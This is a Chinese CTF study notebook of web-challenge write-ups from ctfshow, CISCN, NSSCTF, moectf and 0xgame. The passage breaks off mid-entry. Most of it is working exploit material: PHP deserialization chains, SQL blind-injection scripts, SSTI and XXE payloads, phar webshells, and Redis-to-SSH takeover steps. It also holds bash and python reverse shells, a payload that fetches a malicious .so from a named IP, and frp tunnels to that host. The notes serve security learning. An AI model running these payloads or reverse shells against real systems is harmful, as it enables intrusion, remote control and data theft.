neepu-EZPHP

php:7.4.21 CVE

neepu_ezphp

此处 .a 可换成除了 .php 等任何.* 后缀,但百度发现的源码漏洞使用的是index.php。

发现源码

<?php
class one{
public function __call($name,$ary)
{
if ($this->key === true||$this->finish1->name) {
if ($this->finish->finish){
call_user_func($this->now[$name],$ary[0]);
}
}
}
public function neepuctf(){
$this->now=0;
return $this->finish->finish;
}
public function __wakeup(){
$this->key=True;
}
}
class two{
private $finish;
public $name;
public function __get($value){

return $this->$value=$this->name[$value];
}

}

class three{
public function __destruct()
{
if($this->neepu->neepuctf()||!$this->neepu1->neepuctf()){
$this->fin->NEEPUCTF($this->rce,$this->rce1);
}

}
}
class four{
public function __destruct()
{
if ($this->neepu->neepuctf()){
$this->fin->NEEPUCTF1($this->rce,$this->rce1);
}

}
public function __wakeup(){
$this->key=false;
}
}
class five{
public $finish;
private $name;

public function __get($name)
{
return $this->$name=$this->finish[$name];
}
}

$a=$_POST["neepu"];
if (isset($a)){
unserialize($a);
}

很明显,php反序列化

ciscn2022 sql

payload:

0'case'1'whenusernamecollate'utf8mb4_bin'atelike'{}%'then+9223372036854775807+1+''else'0'||'

  • 因为过滤了空格和其他空白字符,有因为case和then之间必须有空格,所以使用’1’。而且分号内的字符必须为数字且不为0,这样case when才能正常发挥作用
  • cllate'utf8mb4_bin'是使用utf8mb4_bin字符集,这样才区分大小写,sql默认不区分大小写
  • 为过滤了rlike和=,所以使用like来进行匹配,{}是占位符,后面脚本里用的then+9223372036854775807+1+''因为过滤了空格,所以前后两个+是用来连接sql语句的,中间的9223372036854775807+1就是表达式,如果匹配的到的内容符号like里的,就执行并返回这个表达式,从而造成溢出,然后就会报错,浏览器会返回500。就依据这个的不同来进行盲注
    也可以使用18446744073709551615+1,18446744073709551615就是~0,但因为~被过滤所以无法使用~0+1

登进去后两个源码

这里放出我不懂的一个

 <?php
session_start();
if(!isset($_SESSION['login'])){
die();
}
function Al($classname){
include $classname.".php";
}

if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
$o = unserialize($c);
if($o === false) {
die("Error Format");
}else{
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
echo file_get_contents("SomeClass.php");
}

spl_autoload_register这个函数就是自动加载类,当new一个没有包含的类时,他就会自动调用类A1静态方法来包含所需的类,简单来说就是通过这个方法调用function Al()进而包含SomeClass.php文件,但是里面过滤掉了some并且下面会抛出错误,所以我们的思路是提前调用destruct

payload也放一下,gc机制提前回收

<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}

class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class SomeClass{
public $a;
}
$e=new E();
$b=new B();
$a=new A();
$e->a=$b;
$b->a=$a;
$x=new Error();
$x->a="system";
$x->b="cat /nssctfflag";
$a->b=$x;
$result=new SomeClass();
$result->a=$e;
$result = serialize(array($result,0));
$result = str_replace("i:1","i:0",$result);
$result = urlencode($result);
echo $result;

在构造好反序列赋值给$result后,通过数组的形式,键值对,0是$result,1是0,然后更改i本应为1的位置,改成0,从而把i=0指向了NULL,进而造成GC回收,触发__destruct函数

go_session ciscn2023

go mod tidy+go run main.go获得admin cookie

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
#{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}
#参数经过 html.EscapeString(name) 转义,会将双引号转义掉,所以要换一种方式,对于"file",gin.Context还提供了另一种方法,HandlerName() 方法,用于返回主处理程序的名称,这里返回的就是admin/route.Admin,然后可以用过滤器last获取最后一个字符串

Cookie: session-name=MTY5MTk5NTYxNnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwAose6mBW42KwvBV0MfmwHk6ygJ3VCQ6Fh1BYVHxqahA==
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Length: 427

------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plain

from flask import *
import os
app = Flask(__name__)


@app.route('/')
def index():
name = request.args['name']
file=os.popen(name).read()
return file


if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--

web393

url/search.php?title=1';insert into link values(10,'a','file:///flag');

插入link表,虽然不知道是什么#这里使用堆叠注入

MYSQL可以识别十六进制并对其进行自动转换

url/search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
对应的字符串为 file:///var/www/html/alsckdfy/check.php

还可以打redis

题目中的url字段默认长度最长为255所以我们需要修改下

search.php?title=1';alter table link modify column url text;

插入数据

search.php?title=1';insert into link values(11,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);
读取link.php?id=11,然后访问abc.php,密码是1

web 396-?

url=http://1/1;echo `cat fl0g.php`>a.txt

就是parse_url的利用

web683

(int)("0xxxx")=0;

十六进制绕过

web684

create_function

web685

回溯绕过

import requests
url="http://3c7c34aa-52d3-48d2-9dec-3679a65588c9.challenge.ctf.show/"
files={
'file':'<?php eval($_POST[1]);?>'+'b'*1000000
}
r=requests.post(url,files=files)
for i in range(0,10):
u=url+'data/{0}.php'.format(i)
r=requests.post(u,data={'1':'system("cat /secret_you_never_know;echo yu22x");'})
if 'yu22x' in r.text:
print(r.text)

web686

无参数rce

web687

%0a换行绕过

web688

假设传入参数
127.0.0.1' -v -d a=1'

由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用
被 \' 分成两部分
'127.0.0.1' \' '-v -d a=1' \'

接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 进行转义处理
转义后的\\被解释成\,而不再是转义字符,形成单引号闭合
'127.0.0.1' \\ '' -v -d a=1'\\'

payload
?url=http://107.172.141.31:9999/' -F file=@/flag '

web689

不是很懂

?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=a.php

web690

//1806470431 wget这步报错
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip十进制
等价于 exec(./1; mkdir a;cd a;wget 2130706433)
创建了一个a目录,并把index.html下载进去了

现在问题是怎么执行这个(.html)文件里的内容,这个点怎么处理掉
一个比较好的方法是通过tar命令,我们如果压缩文件夹的话,文件夹中的内容在压缩文件中会完完整整的保留下来。
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
等价于 exec(./1; tar cvf shell a)

a文件夹被打包成shell,执行php代码
args[]=1%0a&args[]=php&args[]=shell
等价于 exec(./1; php shell)

最后只需要访问index.html中代码生成的shell.php就可以了

为什么我wget十进制ip内容是404?

web691

order by盲注

import requests
import string
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url="http://350eb77e-284a-4268-bf49-058f67ca4c85.challenge.ctf.show/"
data={
'username':"or 1 union select 1,2,'{}' order by 3#",
'password':'1'
}
k="ctfshow{10a1a24d-3548-4785-9e2b-9d8a6ad37"
for i in range(1,50):
print(i)
for j in s:
data={
'username':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j),
'password':'1'
}
r=requests.post(url,data=data)
#print(data['username'])
if("</code>admin" in r.text):
k=k+chr(ord(j)-1)
print(k)
break

原理是按order by的列排序,然后就可以根据字符大小盲注了

暂存

<?php

include('inc.php');
highlight_file(__FILE__);
error_reporting(0);

function filter($str) {
$filterlist = "/\(|\)|username|password|where|case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist, strtolower($str))){
die("illegal input!");
}
return $str;
}

$username = isset($_POST['username']) ? filter($_POST['username']) : die("please input username!");
$password = isset($_POST['password']) ? filter($_POST['password']) : die("please input password!");

$sql = "select * from admin where username = '$username' and password = '$password' ";

$res = $conn->query($sql);
if($res->num_rows > 0){
$row = $res->fetch_assoc();
if($row['id']){
echo $row['username'];
}
} else {
echo "The content in the password column is the flag!";
}

?>

web692

题目

<?php

highlight_file(__FILE__);

if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

preg_replace中的第二个参数如果是%00也就是ascii中的0,那么将会匹配到整个字符串

比如初始的字符串为
$option='123';
如果执行
preg_replace("$option='.*';","\x00",$a)
那么返回的结果是
$option='$option='123';';
其实就是把原来的字符串又放到单引号里面了。
假设我们第一次传option=;phpinfo();//
首先config.php中的内容会被替换成$option=';phpinfo();//'
如果我们第二次传option=%00
那么最终的结果是$option='$option=';phpinfo();//''
这样就逃出了单引号,phpinfo()也就执行成功

本地没成

payload:

  • ;eval($_POST[1]);//
  • %00

web693

call_user_func($func,$_GET);

可以利用extract进行变量覆盖

然后远程文件包含

web694

<?php file_put_contents('1.txt/.','1');这个是可以正常写入文件的

正常写马就可以

web695

https://github.com/koajs/koa-body/issues/75

开启了json解析的话

如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。

所以在upload路由上传

{
"files":{
"file":{
"name":"dionysus",
"path":"flag"
}
}
}

剩下的不会了

web696 不会

题目出处:SCTF2020-Jsonhub
解题步骤:源码审计,预期是 成为Django-admin -> 利用CVE-2018-14574 造成SSRF打flask_rpc -> UTF16绕过 {{限制 -> 无字母SSTI

web697

PHP中数组大小大于数字

如果是最常见的md5加密的话,我们就可以绕过了。有如下几个字符串,在经过md5加密后的十六进制是自带单引号的。

也就是万能密码,md5

ffifdyop
e58
4611686052576742364

web698

hash拓展攻击,可以去tools看看

web699

import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f = ''

def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s

def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'" #${!#}与$0等效
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''

# def get_flag(url,payload): #盲注函数
# try:
# data = {'cmd':payload}
# r = requests.post(url,data,timeout=1.5)
# except:
# return True
# return False

# 弹shell
print(build('bash -i >& /dev/tcp/IP/port 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
# for j in a:
# cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
# url = "http://ip/"
# if get_flag(url,build(cmd)):
# break
# f = f+j
# print(f)

没测试成功捏

web700

  • CSS注入

利用场景:能HTML注入,不能XSS(或者被dompurity时),可造成窃取CSRF Token的目的。

通过CSS选择器匹配到CSRF token,接着使用可以发送数据包的属性将数据带出,例如:

input[name=csrf][value^=ca]{
background-image: url(https://xxx.com/ca);
}

一般CSRF Token的type都为hidden,会有不加载background-image属性的情况(本地测试是最新版FIrefox不加载,Chrome加载)

解决该问题的办法是使用~兄弟选择器(选择和其后具有相同父元素的元素),加载相邻属性的background-image,达到将数据带出的目的

提供一个工具sic

web701

JavaScript黑魔法

constructor.length.constructor(constructor.name.constructor(constructor.constructor.length).concat(console.dir.name.length).concat(console.dir.name.length).concat(console.context.name.length))

  1. 获取 Number 和 String 构造函数:
    • constructor.length.constructor 返回的是 Number 构造函数。
    • constructor.name.constructor 返回的是 String 构造函数。
  2. 构造字符串 “1337”:
    • constructor.constructor.length 返回 1。这是因为 constructor.constructorFunction 对象,它期望的参数数量是 1。
    • console.dir.name.length 返回 3。这是因为 console.dir 的函数名是 “dir”,其长度是 3。
    • console.context.name.length 返回 7。这是因为 console.context 的函数名是 “context”,其长度是 7。

最后达成 1337=payload

mark一下

const express = require('express');
const path = require('path');
const vm = require('vm');

const app = express();

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function (req, res, next) {
let output = '';
const code = req.query.code + '';
if (code && code.length < 200 && !/[^a-z().]/.test(code)) {
try {
const result = vm.runInNewContext(code, {}, { timeout: 500 });
if (result === 1337) {
output = process.env.FLAG;
} else {
output = 'nope';
}
} catch (e) {
output = 'nope';
}
} else {
output = 'nope';
}
res.render('index', { title: '[a-z().]', output });
});

app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname, 'app.js'));
});

module.exports = app;

web702

password_hash使用PASSWORD_BCRYPT做算法,会使password参数最长为72个字符,超过会被截断

(会不会覆盖呢??)

然后有要求png头

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

web703

原理是Session伪造 + Session反序列化
在lib.php里发现admin的判断是在session里判断的,init.php和export.php的保存路径竟然都是/var/www/tmp

由于PHP中session.serialize_handler默认设置为php,可以创建一个用户名叫sess_,然后Add note提交title为:|N;admin|b:1; ,这样反序列化结果即可为:admin=bool(true) ,并且替换掉了session文件。
页面点击文件即可得到sess_xxxxx,把后面的xxxx写入PHPSESSID即可得到flag

有点绷不住,都不会啊

web704

考点是unicode编码绕过json_decode

{"page":"p\u0068p://filter/read=convert.base64-encode/resource=/\u0066lag"}

ez_date

 <?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
//uniqid函数用于生成标识
$uuid=uniqid().'.txt';
//文件写入操作 把content的内容写入的uuid中
file_put_contents($uuid,$content);
//正则匹配替换 把uuid中的内容进行替换 赋给data
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
//输出data的内容
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

$str='/f\l\a\g';  
print(date($str));
//结果是:/flag

我超,神奇

[NSSRound#6 Team]check(V1)

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
print(file.filename)
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'

@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'

filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

if '..' in filename or '/' in filename:
return '?'

if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'

with open(filepath, 'r') as f:
return f.read()

@app.route('/clean', methods=['POST'])
def clean_file():
os.system('/tmp/clean.sh')
return 'success'

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)

漏洞点

tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])

可以通过上传一个tar文件,文件里面的内容软连接指向/flag,tar被解压后里面的文件指向了flag的内容,然后通过download函数将文件下载出来即可得到flag。

myhurricane

tornado模版在渲染时会执行__tt_utf8(__tt_tmp) 这样的函数,所以将__tt_utf8设置为eval,然后将__tt_tmp设置为了从POST方法中接收的字符串导致了RCE

{% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")

true xml

内网探测

是一个新生赛不错的出题思路

shadowflag

好题

/proc/[pid]/fd读打开未关闭的flag

act=python3%09-c%09"import%09os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"反弹shell

然后报错可以指定断点debug

[安洵杯 2019]easy_serialize_php

看不太懂,先搁置

babycat

首先是个登录,登录后就是个任意文件读取

/home/download?file=../../WEB-INF/web.xml

../../WEB-INF/classes/com/web/servlet/registerServlet.class

下载这个文件,反编译后

String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\"");
Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"");
Matcher matcher = pattern.matcher(var);
while (matcher.find())
role = matcher.group();
if (!StringUtils.isNullOrEmpty(role)) {
var = var.replace(role, "\"role\":\"guest\"");
person = (Person)gson.fromJson(var, Person.class);
} else {
person = (Person)gson.fromJson(var, Person.class);
person.setRole("guest");
}

data={"username":"dionysus","password":"12345","role":"admin"/*, "role":"test"*/}

伪造一个admin用户

然后上传jsp文件.在../../static/1.jsp

蚁剑连接

Smarty calculator

CVE-2021-26120

妈的,不会

data=%7Bfunction%20name%3D'exp()%7B%7D%3Beval(%24_GET%5B1%5D)%3Bfunction%0A%0A'%7D%7B%2Ffunction%7D密码是1 ,蚁剑连接不上,剩下绕过disable_function,没成功

地狱通信改

flag = request.args.get('flag') or ''
message = "Hello {0}, your flag is" + flag

format漏洞

{0.__class__.__init__.__globals__[headers]}

{0.__class__.__init__.__globals__[secret]}

然后正常的jwt伪造

极客大挑战2020 greatphp

原生类反序列化

<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

注意error的报错信息和行号有关,所以一定要在同一行

SCTF rceme

create_function(...unserialize(end(getallheaders())))传array(代码注入)反序列化变成两个参数传入create_function create_funtion本质是语法解析的。可以直接注入eval

这里逗号没了。无法传参。利用可变参数列表绕过

[xxx][0](...[xxx][0]())
<?php

function sum(...$a){
$c = 0;
foreach ($a as $n){
$c = $c + $n;
}
return $c;
}

echo sum(1,12,13); // 26

无参RCE加上iconv绕过disable_function

pylo:a:2:{i:0;s:0:"";i:1;s:21:"}eval($_POST["a"]);//";}

cmd=[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));&a=$url="http://107.172.141.31/hackso/gconv/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
pylo:a:2:{i:0;s:0:"";i:1;s:21:"}eval($_POST["a"]);//";}

cmd=[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));&a=$url="http://107.172.141.31/hackso/gconv/gconv-modules";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);
a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/gconv-modules");

a=show_source('/tmp/dionysus');

moectf

座驾

%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%3C!DOCTYPE%20xxe%20%5B%3C!ELEMENT%20name%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%20%3E%5D%3E%3Cxml%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fxml%3E

要url编码

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<xml>
<name>&xxe;</name>
</xml>

心海

抓包,一眼sql注入

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

insert注入

试试报错注入

爆库名

updatexml(0,concat(0x7c,(SELECT database() limit 0,1)),0)

爆表名

updatexml(0,concat(0x7c,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())),0)

爆列名

updatexml(0,concat(0x7c,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='secret_of_kokomi')),0)

最终payload

  • updatexml(0,concat(0x7c,(SELECT SUBSTRING(content, 1, 20) FROM wordpress.secret_of_kokomi limit 2,1)),0)

  • updatexml(0,concat(0x7c,(SELECT SUBSTRING(content, 20, 50) FROM wordpress.secret_of_kokomi limit 2,1)),0)

(updatexml(0,concat(0x7c,(SELECT GROUP_CONCAT(SUBSTRING(content, 15,30 )) FROM wordpress.secret_of_kokomi)),0)会有数据丢失)

答案moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}

signin

首先看得到flag的条件

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())
#gethash(k,v)则是hashed_users里k对应的值

hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}

hashed=0就行了

接着看几个if判断

if params.get("username") == "admin":
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
print("admin")
return
if params.get("username") == params.get("password"):
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
print("same")
return

username不能为admin

password不能和username相等

int != str

思路,构造json数据,username为字符串,password为数字,然后b64编码5次

post发包

难度不大,能看懂就会写

内网

# 导入flask和itsdangerous模块
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


# 创建一个flask应用
app = Flask(__name__)

# 读取文件里的密钥,存入一个列表
secret_keys = []
with open("secret_keys.txt", "r") as f:
for line in f:
secret_keys.append(line.strip())

# 定义一个函数,用给定的密钥解密一个session
def decrypt_session(session_data, secret_key):
try:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_data)
except:
return None

# 定义一个函数,用文件里的所有密钥尝试解密一个session,并打印出成功的结果
def try_all_keys(session_data):
# 遍历文件里的所有密钥
for secret_key in secret_keys:
# 用当前密钥解密session
data = decrypt_session(session_data, secret_key)
# 如果解密成功,则打印出密钥和数据,并结束循环
if data is not None:
print(f"Success! The secret key is {secret_key}")
print(f"The decrypted session data is {data}")
break
# 如果遍历完所有密钥都没有成功,则打印出失败的信息
else:
print("Failed! No valid secret key found")

# 测试代码,假设有一个已经加密的session数据
session_data = "eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6IjEyMyJ9.ZQ6DEQ.OGopK40APnPGLLRgB_-bXDn3JsM"

# 调用函数,用文件里的所有密钥尝试解密session数据
try_all_keys(session_data)

import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("YOUR_IP", YOUR_PORT))

# 重定向 stdin, stdout, stderr
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

subprocess.call(["/bin/sh", "-i"])

第一次接触,有点意思

cat /etc/hosts

fscan -h 172.20.0.4/24

扫出来

[*] LiveTop 172.20.0.0/16    段存活数量为: 4
[*] LiveTop 172.20.0.0/24 段存活数量为: 4
172.20.0.1:888 open
172.20.0.2:22 open
172.20.0.1:22 open
172.20.0.1:21 open
172.20.0.2:6379 open
172.20.0.4:8080 open
172.20.0.1:80 open
172.20.0.3:3306 open
172.20.0.1:3306 open
172.20.0.1:7777 open
[*] WebTitle: http://172.20.0.1:7777 code:200 len:917 title:恭喜,站点创建成功!
[*] WebTitle: http://172.20.0.1 code:200 len:138 title:404 Not Found
[+] Redis:172.20.0.2:6379 unauthorized file:/data/dump.rdb
[*] WebTitle: http://172.20.0.1:888 code:403 len:548 title:403 Forbidden
[*] WebTitle: http://172.20.0.4:8080 code:302 len:199 title:Redirecting... 跳转url: http://172.20.0.4:8080/login
[+] Redis:172.20.0.2:6379 like can write /root/.ssh/
[*] WebTitle: http://172.20.0.4:8080/login code:200 len:1145 title:LOGI

*.3下有mysql

*.2下有redis+ssh

里面有frp 就用这个吧

先打redis

漏洞条件:

Redis绑定在127.0.0.1:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略

没有设置密码认证,可以免密码远程登录Redis服务

以root身份运行Redis

echo "[common]\nserver_addr=107.172.141.31\nserver_port=7001\n\n[redis]\ntype = tcp\nlocal_ip = 172.20.0.2\nlocal_port = 6379\nremote_port = 6002\n\n[ssh]\ntype = tcp\nlocal_ip = 172.20.0.2\nlocal_port = 22\nremote_port = 6003" > frpc.ini

[common]
server_addr=107.172.141.31
server_port=7001

[redis]
type = tcp
local_ip = 172.20.0.2
local_port = 6379
remote_port = 6002

[ssh]
type = tcp
local_ip = 172.20.0.2
local_port = 22
remote_port = 6003

然后

同时启动frps和frpc后

本地
1.ssh-keygen -t rsa
2.cat id_rsa.pub
3.redis-cli -h 127.0.0.1 -p6002

4.config set dir /root/.ssh
5.config set dbfilename authorized_keys
6.set x "\n\n\nxxxxxxxxx\n\n\n" # \n换行,不然SSH连接会失败.把x换成公钥
7.save

final:ssh -i id_rsa root@127.0.0.1 -p 6003

然后拿到第1/3flag

第三个在数据库里

同样frpc

echo "[common]\nserver_addr=107.172.141.31\nserver_port=7001\n\n[mysql]\ntype = tcp\nlocal_ip = 172.20.0.3\nlocal_port = 3306\nremote_port = 6004" > frpc.ini

[common]
server_addr=107.172.141.31
server_port=7001

[mysql]
type = tcp
local_ip = 172.20.0.3
local_port = 3306
remote_port = 6004

mysql -h 127.0.0.1 -P 6004 -u root -pThe_P0sswOrD_Y0u_Nev3r_Kn0w

密码是在外网python文件里找到的

ctfshow 红包7

phpdebug

highlight_file(__FILE__);
error_reporting(2);


extract($_GET);
ini_set($name,$value);


system(
"ls '".filter($_GET[1])."'"
);

function filter($cmd){
$cmd = str_replace("'","",$cmd);
$cmd = str_replace("\\","",$cmd);
$cmd = str_replace("`","",$cmd);
$cmd = str_replace("$","",$cmd);
return $cmd;
}

1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731/

查看扩展目录,包含xdebug

xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用0字节进行截断来触发异常

?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>

0xgame

sql

离谱,这他妈是新生赛

import requests
import time
result = ''
def make_payload(sql: str) -> str:
return f"set/**/@a=0x{sql.encode().hex()};prepare/**/execsql/**/from/**/@a;execute/**/execsql"

url = "http://124.71.184.68:50021/?order=id;"

sql = f"SELECT * FROM userinfo where id=1 and 1=(updatexml(0,concat(0x7c,(SELECT SUBSTRING(flag, 1, 50) FROM ctf.flag limit 0,1)),0));"
payload = url+make_payload(sql)
time.sleep(0.1)
response = requests.get(payload)
print(response.text)

最后payload,改个limit就成

沙箱

  • 注册

    直接注册就行

    {
